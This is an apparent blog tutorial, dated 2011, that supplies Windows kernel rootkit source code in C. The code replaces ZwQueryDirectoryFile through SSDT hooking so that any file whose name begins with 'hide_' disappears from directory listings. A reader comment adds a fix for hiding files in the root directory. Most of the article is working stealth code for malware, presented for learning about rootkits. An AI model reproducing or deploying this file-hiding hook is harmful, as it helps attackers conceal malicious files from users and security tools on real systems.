Warning: array_shift() expects parameter 1 to be array, boolean given in /htdocs/config/ecran_securite.php on line 229
Hide files using SSDT hooking - Sevagas
Home page > Learning security > Operating Systems > Windows > Hide files using SSDT hooking

Hide files using SSDT hooking

ZwQueryDirectoryFile replacement

Wednesday 3 August 2011, by Emeric Nasi

Note: In order to understand this document you need to know the basics about windows rootkit, the windows driver dev kit and SSDT hooking. You can find these materials on The Internet and books.
License : Copyright Emeric Nasi, some rights reserved
This document is licensed under the [Creative Commons Attribution-NonCommercial-NoDerivs 3.0 License].



I. Introduction.

I was reading Bill Blunden’s book “The Rootkit ARSENAL”. This book is great to learn the basics of Windows rootkits (more information here). I am not specialist in Windows O.S and using the book, I tried to learn more about this OS security by building my own rootkits.
In chapter 5 Blunden explains how to hide directories by using SSDT hooking and replacing the ZwQueryDirectoryFile kernel function. In fact this code can be used to hide any file. I tried his code and I found a few problems in it (it works only on Windows XP, it does not work when there is only one file in directory, etc).
So I modified the code to correct these problems and I decided to share it here.

Warning : Here I will only describe the ZwQueryDirectoryFile replacement function, not the way I implemented SSDT hooking or any other part of this rootkit. You can write me an email if you are interested by more source code.



II. Headers information.

In this section I am going to describe all the information wee need to write and use the replacement function. The code in this section should be written in a file accessible by the rootkit core and the replacement function. It can be inside the replacement function file like in the book, or in a dedicated header file.

II.1 The needed includes
The replacement function only needs one included file (and it is a big one), the windows driver kit main file.
#include <ntddk.h>

II.2 The original function signature
In order to hook this SSDT entry we need to define the original function in our code so our rootkit can switch safely between the original routine and the replacement one.

  1.  
  2. /*
  3.  
  4. The ZwQueryDirectoryFile routine returns various kinds of information about files in the directory specified by a given file handle.
  5.  
  6. NTSTATUS ZwQueryDirectoryFile(
  7.   __in      HANDLE FileHandle,
  8.   __in_opt  HANDLE Event,
  9.   __in_opt  PIO_APC_ROUTINE ApcRoutine,
  10.   __in_opt  PVOID ApcContext,
  11.   __out     PIO_STATUS_BLOCK IoStatusBlock,
  12.   __out     PVOID FileInformation,
  13.   __in      ULONG Length,
  14.   __in      FILE_INFORMATION_CLASS FileInformationClass,
  15.   __in      BOOLEAN ReturnSingleEntry,
  16.   __in_opt  PUNICODE_STRING FileName,
  17.   __in      BOOLEAN RestartScan
  18. );
  19. http://msdn.microsoft.com/en-us/library/ff567047%28v=VS.85%29.aspx
  20. */
  21.  
  22. /* Prototype to original routine */
  23. NTSYSAPI
  24. NTSTATUS
  25. NTAPI ZwQueryDirectoryFile
  26. (
  27.   IN    HANDLE FileHandle,
  28.   IN    HANDLE Event,
  29.   IN    PIO_APC_ROUTINE ApcRoutine,
  30.   IN    PVOID ApcContext,
  31.   OUT   PIO_STATUS_BLOCK IoStatusBlock,
  32.   OUT   PVOID FileInformation,
  33.   IN    ULONG Length,
  34.   IN    FILE_INFORMATION_CLASS FileInformationClass,
  35.   IN    BOOLEAN ReturnSingleEntry,
  36.   IN    PUNICODE_STRING FileName,
  37.   IN    BOOLEAN RestartScan
  38. );
  39.  
  40. /* Function pointer declaration and definition */
  41. typedef NTSTATUS  (*ZwQueryDirectoryFilePtr)
  42. (
  43.   IN    HANDLE FileHandle,
  44.   IN    HANDLE Event,
  45.   IN    PIO_APC_ROUTINE ApcRoutine,
  46.   IN    PVOID ApcContext,
  47.   OUT   PIO_STATUS_BLOCK IoStatusBlock,
  48.   OUT   PVOID FileInformation,
  49.   IN    ULONG Length,
  50.   IN    FILE_INFORMATION_CLASS FileInformationClass,
  51.   IN    BOOLEAN ReturnSingleEntry,
  52.   IN    PUNICODE_STRING FileName,
  53.   IN    BOOLEAN RestartScan
  54. );
  55. ZwQueryDirectoryFilePtr oldZwQueryDirectoryFile;
  56.  

 

II.3 Various FILE_INFORMATION_CLASS structures
When the ZwQueryDirectoryFile routine is called, the returned results are stored in an array of structures representing a file. The first one is accessible using FileInformation OUT parameter. There are several types of structures to describe files, (they can vary depending on the OS version for example).
The FileInformationClass parameter is used to know the type of the FileInformation parameter.
There is a list of structures that can correspond to a file object on the msdn ( http://msdn.microsoft.com/en-us/lib...). Here we will concentrate on structures that can be used by the ZwQueryDirectoryFile routine (see http://msdn.microsoft.com/en-us/lib...).
We need to redefine these structures in our header’s code :

  1.  
  2. typedef struct _FILE_BOTH_DIR_INFORMATION {
  3.   ULONG         NextEntryOffset;
  4.   ULONG         FileIndex;
  5.   LARGE_INTEGER CreationTime;
  6.   LARGE_INTEGER LastAccessTime;
  7.   LARGE_INTEGER LastWriteTime;
  8.   LARGE_INTEGER ChangeTime;
  9.   LARGE_INTEGER EndOfFile;
  10.   LARGE_INTEGER AllocationSize;
  11.   ULONG         FileAttributes;
  12.   ULONG         FileNameLength;
  13.   ULONG         EaSize;
  14.   CCHAR         ShortNameLength;
  15.   WCHAR         ShortName[12];
  16.   WCHAR         FileName[1];
  17. } FILE_BOTH_DIR_INFORMATION, *PFILE_BOTH_DIR_INFORMATION;
  18.  
  19. typedef struct _FILE_ID_BOTH_DIR_INFORMATION {
  20.   ULONG         NextEntryOffset;
  21.   ULONG         FileIndex;
  22.   LARGE_INTEGER CreationTime;
  23.   LARGE_INTEGER LastAccessTime;
  24.   LARGE_INTEGER LastWriteTime;
  25.   LARGE_INTEGER ChangeTime;
  26.   LARGE_INTEGER EndOfFile;
  27.   LARGE_INTEGER AllocationSize;
  28.   ULONG         FileAttributes;
  29.   ULONG         FileNameLength;
  30.   ULONG         EaSize;
  31.   CCHAR         ShortNameLength;
  32.   WCHAR         ShortName[12];
  33.   LARGE_INTEGER FileId;
  34.   WCHAR         FileName[1];
  35. } FILE_ID_BOTH_DIR_INFORMATION, *PFILE_ID_BOTH_DIR_INFORMATION;
  36.  
  37. typedef struct _FILE_ID_FULL_DIR_INFORMATION {
  38.   ULONG         NextEntryOffset;
  39.   ULONG         FileIndex;
  40.   LARGE_INTEGER CreationTime;
  41.   LARGE_INTEGER LastAccessTime;
  42.   LARGE_INTEGER LastWriteTime;
  43.   LARGE_INTEGER ChangeTime;
  44.   LARGE_INTEGER EndOfFile;
  45.   LARGE_INTEGER AllocationSize;
  46.   ULONG         FileAttributes;
  47.   ULONG         FileNameLength;
  48.   ULONG         EaSize;
  49.   LARGE_INTEGER FileId;
  50.   WCHAR         FileName[1];
  51. } FILE_ID_FULL_DIR_INFORMATION, *PFILE_ID_FULL_DIR_INFORMATION;
  52.  
  53. typedef struct _FILE_DIRECTORY_INFORMATION {
  54.   ULONG         NextEntryOffset;
  55.   ULONG         FileIndex;
  56.   LARGE_INTEGER CreationTime;
  57.   LARGE_INTEGER LastAccessTime;
  58.   LARGE_INTEGER LastWriteTime;
  59.   LARGE_INTEGER ChangeTime;
  60.   LARGE_INTEGER EndOfFile;
  61.   LARGE_INTEGER AllocationSize;
  62.   ULONG         FileAttributes;
  63.   ULONG         FileNameLength;
  64.   WCHAR         FileName[1];
  65. } FILE_DIRECTORY_INFORMATION, *PFILE_DIRECTORY_INFORMATION;
  66.  
  67. typedef struct _FILE_FULL_DIR_INFORMATION {
  68.   ULONG         NextEntryOffset;
  69.   ULONG         FileIndex;
  70.   LARGE_INTEGER CreationTime;
  71.   LARGE_INTEGER LastAccessTime;
  72.   LARGE_INTEGER LastWriteTime;
  73.   LARGE_INTEGER ChangeTime;
  74.   LARGE_INTEGER EndOfFile;
  75.   LARGE_INTEGER AllocationSize;
  76.   ULONG         FileAttributes;
  77.   ULONG         FileNameLength;
  78.   ULONG         EaSize;
  79.   WCHAR         FileName[1];
  80. } FILE_FULL_DIR_INFORMATION, *PFILE_FULL_DIR_INFORMATION;
  81.  
  82. typedef struct _FILE_NAMES_INFORMATION {
  83.   ULONG NextEntryOffset;
  84.   ULONG FileIndex;
  85.   ULONG FileNameLength;
  86.   WCHAR FileName[1];
  87. } FILE_NAMES_INFORMATION, *PFILE_NAMES_INFORMATION;

The interesting thing here is that all the structures have attributes in common, and more precisely the FileName and the NextEntryOffset.
The FileName use is trivial (just return the name of the file...).
The NextEntryOffset is the offset of the next FileInformation structure in the array.
For example, take a directory called foo, containing 2 files, bar1 and bar2.
If you query the next cmd code :
dir ./foo
The ZwQueryDirectoryFile kernel routine will be called and will write into the FileInformation a pointer to an array of two structures, one for bar1 and one for bar2 (in reality it is more complicated than that because . and .. are also in the array...).
We may not be sure about the FILE_INFORMATION_CLASS type but we know that :
The first structure FileName is "bar1" and its NextEntryOffset, when added to FileInformation is the memory address of the next structure.
The second structure FileName is "bar2" and its NextEntryOffset field is set to zero because it is the last structure in the array.

II.4 Get and set common fields from any structure type
We do not want to write a replacement function for each different structure. So we are going to write functions to get the two common fields we need in any of them.

  1.  
  2. /* ---------------- Functions ----------------------------------------*/
  3.  
  4.  
  5. /* Return the filename of the specified file entry. */
  6. PVOID getDirEntryFileName
  7. (
  8.         IN PVOID FileInformation,
  9.         IN FILE_INFORMATION_CLASS FileInfoClass
  10. )
  11. {
  12.     PVOID result = 0;
  13.     switch(FileInfoClass){
  14.         case FileDirectoryInformation:
  15.             result = (PVOID)&((PFILE_DIRECTORY_INFORMATION)FileInformation)->FileName;
  16.             break;
  17.         case FileFullDirectoryInformation:
  18.             result =(PVOID)&((PFILE_FULL_DIR_INFORMATION)FileInformation)->FileName;
  19.             break;
  20.         case FileIdFullDirectoryInformation:
  21.             result =(PVOID)&((PFILE_ID_FULL_DIR_INFORMATION)FileInformation)->FileName;
  22.             break;
  23.         case FileBothDirectoryInformation:
  24.             result =(PVOID)&((PFILE_BOTH_DIR_INFORMATION)FileInformation)->FileName;
  25.             break;
  26.         case FileIdBothDirectoryInformation:
  27.             result =(PVOID)&((PFILE_ID_BOTH_DIR_INFORMATION)FileInformation)->FileName;
  28.             break;
  29.         case FileNamesInformation:
  30.             result =(PVOID)&((PFILE_NAMES_INFORMATION)FileInformation)->FileName;
  31.             break;
  32.     }
  33.     return result;
  34. }
  35.  
  36.  
  37. /* Return the NextEntryOffset of the specified file entry. */
  38. ULONG getNextEntryOffset
  39. (
  40.     IN PVOID FileInformation,
  41.     IN FILE_INFORMATION_CLASS FileInfoClass
  42. )
  43. {
  44.     ULONG result = 0;
  45.     switch(FileInfoClass){
  46.             case FileDirectoryInformation:
  47.                     result = (ULONG)((PFILE_DIRECTORY_INFORMATION)FileInformation)->NextEntryOffset;
  48.                     break;
  49.             case FileFullDirectoryInformation:
  50.                     result =(ULONG)((PFILE_FULL_DIR_INFORMATION)FileInformation)->NextEntryOffset;
  51.                     break;
  52.             case FileIdFullDirectoryInformation:
  53.                     result =(ULONG)((PFILE_ID_FULL_DIR_INFORMATION)FileInformation)->NextEntryOffset;
  54.                     break;
  55.             case FileBothDirectoryInformation:
  56.                     result =(ULONG)((PFILE_BOTH_DIR_INFORMATION)FileInformation)->NextEntryOffset;
  57.                     break;
  58.             case FileIdBothDirectoryInformation:
  59.                     result =(ULONG)((PFILE_ID_BOTH_DIR_INFORMATION)FileInformation)->NextEntryOffset;
  60.                     break;
  61.             case FileNamesInformation:
  62.                     result =(ULONG)((PFILE_NAMES_INFORMATION)FileInformation)->NextEntryOffset;
  63.                     break;
  64.     }
  65.     return result;
  66. }
  67.  
  68. /* Set the value of the  fileInformation's NextEntryOffset */
  69. void setNextEntryOffset
  70. (
  71.     IN PVOID FileInformation,
  72.     IN FILE_INFORMATION_CLASS FileInfoClass,
  73.         IN ULONG newValue
  74. )
  75. {
  76.     switch(FileInfoClass){
  77.             case FileDirectoryInformation:
  78.                     ((PFILE_DIRECTORY_INFORMATION)FileInformation)->NextEntryOffset = newValue;
  79.                     break;
  80.             case FileFullDirectoryInformation:
  81.                     ((PFILE_FULL_DIR_INFORMATION)FileInformation)->NextEntryOffset = newValue;
  82.                     break;
  83.             case FileIdFullDirectoryInformation:
  84.                     ((PFILE_ID_FULL_DIR_INFORMATION)FileInformation)->NextEntryOffset = newValue;
  85.                     break;
  86.             case FileBothDirectoryInformation:
  87.                     ((PFILE_BOTH_DIR_INFORMATION)FileInformation)->NextEntryOffset = newValue;
  88.                     break;
  89.             case FileIdBothDirectoryInformation:
  90.                     ((PFILE_ID_BOTH_DIR_INFORMATION)FileInformation)->NextEntryOffset = newValue;
  91.                     break;
  92.             case FileNamesInformation:
  93.                     ((PFILE_NAMES_INFORMATION)FileInformation)->NextEntryOffset = newValue;
  94.                     break;
  95.     }
  96. }
  97.  

 

III. Main code.

III.1 ZwQueryDirectory Replacement routine
Now that we have enough information, we are ready to write a ZwQueryDirectoryFile replacement function that can hide any file we want.

  1.  
  2. #define NO_MORE_ENTRIES         0
  3.  
  4. /* Replacement function, Entry point */
  5. NTSTATUS newZwQueryDirectoryFile
  6. (
  7.   IN    HANDLE FileHandle,
  8.   IN    HANDLE Event,
  9.   IN    PIO_APC_ROUTINE ApcRoutine,
  10.   IN    PVOID ApcContext,
  11.   OUT   PIO_STATUS_BLOCK IoStatusBlock,
  12.   OUT   PVOID FileInformation,
  13.   IN    ULONG Length,
  14.   IN    FILE_INFORMATION_CLASS FileInformationClass,
  15.   IN    BOOLEAN ReturnSingleEntry,
  16.   IN    PUNICODE_STRING FileName,
  17.   IN    BOOLEAN RestartScan
  18. )
  19. {
  20.         NTSTATUS                ntStatus;
  21.         PVOID   currFile;
  22.         PVOID   prevFile;
  23.    
  24.         //DBG_TRACE("newZwQueryDirectoryFile","Call intercepted!");
  25.         // Call normal function
  26.         ntStatus = oldZwQueryDirectoryFile
  27.         (
  28.                   FileHandle,
  29.                   Event,
  30.                   ApcRoutine,
  31.                   ApcContext,
  32.                   IoStatusBlock,
  33.                   FileInformation,
  34.                   Length,
  35.                   FileInformationClass,
  36.                   ReturnSingleEntry,
  37.                   FileName,
  38.                   RestartScan
  39.         );
  40.         if(!NT_SUCCESS(ntStatus))
  41.         {
  42.                 //DBG_TRACE("newZwQueryDirectoryFile","Call failed.");
  43.                 return ntStatus;
  44.         }
  45.         // Call hide function depending on FileInformationClass
  46.         if
  47.         (
  48.         FileInformationClass == FileDirectoryInformation ||
  49.         FileInformationClass == FileFullDirectoryInformation ||
  50.         FileInformationClass == FileIdFullDirectoryInformation ||
  51.         FileInformationClass == FileBothDirectoryInformation ||
  52.         FileInformationClass == FileIdBothDirectoryInformation ||
  53.         FileInformationClass == FileNamesInformation    
  54.         )
  55.         {
  56.                        
  57.                 currFile =      FileInformation;
  58.                 prevFile =      NULL;
  59.                 //Sweep trought the array of PFILE_BOTH_DIR_INFORMATION structures
  60.                 do
  61.                 {
  62.                         // Check if file is one of rootkit files
  63.                         if(checkIfHiddenFile(getDirEntryFileName(currFile,FileInformationClass))==TRUE)
  64.                         {
  65.                                 // If it is not the last file
  66.                                 if(getNextEntryOffset(currFile,FileInformationClass)!=NO_MORE_ENTRIES)
  67.                                 {
  68.                                         int delta;
  69.                                         int nBytes;
  70.                                         // We get number of bytes between the 2 addresses (that we already processed)
  71.                                         delta =         ((ULONG)currFile) - (ULONG)FileInformation;
  72.                                         // Lenght is size of FileInformation buffer
  73.                                         // We get the number of bytes still to be sweeped trought
  74.                                         nBytes =        (DWORD)Length - delta;
  75.                                         // We get the size of bytes to be processed if we remove the current entry.
  76.                                         nBytes =        nBytes - getNextEntryOffset(currFile,FileInformationClass);
  77.                                         // The next operation replaces the rest of the array by the same array without the current structure.
  78.                                         RtlCopyMemory
  79.                                         (
  80.                                                 (PVOID)currFile,
  81.                                                 (PVOID)((char*)currFile +  getNextEntryOffset(currFile,FileInformationClass)),
  82.                                                 (DWORD)nBytes
  83.                                         );
  84.                                         continue;
  85.                                 }
  86.                                 else
  87.                                 {
  88.                                         // Only one file
  89.                                         if(currFile==FileInformation)
  90.                                         {
  91.                                                 ntStatus = STATUS_NO_MORE_FILES;
  92.                                         }
  93.                                         else
  94.                                         {
  95.                                                 // Several file and ours is the last one
  96.                                                 // We set previous to end of file
  97.                                                 setNextEntryOffset(prevFile,FileInformationClass,NO_MORE_ENTRIES);
  98.                                         }
  99.                                         // Exit while loop
  100.                                         break;
  101.                                 }
  102.                         }
  103.                         prevFile = currFile;
  104.                         // Set current file to next file in array
  105.                         currFile = ((BYTE*)currFile + getNextEntryOffset(currFile,FileInformationClass));
  106.                 }
  107.                 while(getNextEntryOffset(prevFile,FileInformationClass) != NO_MORE_ENTRIES);
  108.                        
  109.                
  110.         }
  111.         return ntStatus;
  112. }

 
III.2 Check if file should be hide
You should have noticed that hiding functionalities are used only if checkIfHiddenFile(WCHAR fileName) function returns TRUE. You can choose to write whatever you want in that function, if you want to hide several files, depending on what part of their names, etc.
In this code, I choose to stay simple, and just hide any file that starts with a given prefix ("hide_").

  1. const WCHAR prefix[]                    = L"hide_";
  2. #define PREFIX_SIZE                             10
  3. /* Check if the file is one of those that need to be hidden */
  4. BOOLEAN checkIfHiddenFile(WCHAR fileName[])
  5. {
  6.        
  7.         SIZE_T                          nBytesEqual;
  8.         //DBG_PRINT2("[checkIfHiddenFile]: we are checking %S\n",fileName);
  9.         // Check if known file
  10.         nBytesEqual = 0;
  11.         nBytesEqual = RtlCompareMemory
  12.         (
  13.                 (PVOID)&(fileName[0]),
  14.                 (PVOID)&(prefix[0]),
  15.                 PREFIX_SIZE
  16.         );
  17.         //DBG_PRINT2("[checkIfHiddenFile]: nBytesEqual: %d\n",nBytesEqual);
  18.         if(nBytesEqual==PREFIX_SIZE)
  19.         {
  20.                 DBG_PRINT2("[checkIfHiddenFile]: known file detected : %S\n",fileName);
  21.                 return(TRUE);
  22.         }
  23.        
  24.         return FALSE;
  25. }
  26.  

 

IV Conclusion

I am not a WDK specialist and any critics are welcomed. This hook should work nice on Windows XP and Vista 32 bit version. I didn’t test it on seven. If you do, please give me a feedback.
Note : SSDT hooking is a very simple way to modify Windows OS normal functioning. However, this method is very easy to detect and most security tools will detect a rootkit if the SSDT table points to functions outside of the kernel space!

2 Forum messages

  • Hide files using SSDT hooking 25 January 2012 08:52, by mothball

    I was playing with writing a rootkit to learn a bit about what’s going on behind the scenes and found this article quite helpful, thank you! I wanted to note that I ran into an issue when trying to hide a file in the root directory (c:\). Because Windows XP will query for a single file first before querying for the rest, and because there is no ".." directory to return initially, my rootkit file would end up being returned in the FileInformation buffer all alone. Your code would return "NO MORE FILES" in this case which ends up showing an empty root directory. My approach to fix this problem was to create a new case "if(ReturnSingleEntry == TRUE)" above your case "if(currFile==FileInformation)" and simply call the hooked function again with the ReturnSingleEntry argument set to FALSE. This seems to work fine for me and I just wanted to share it for anyone interested.

    Reply to this message

Comment this article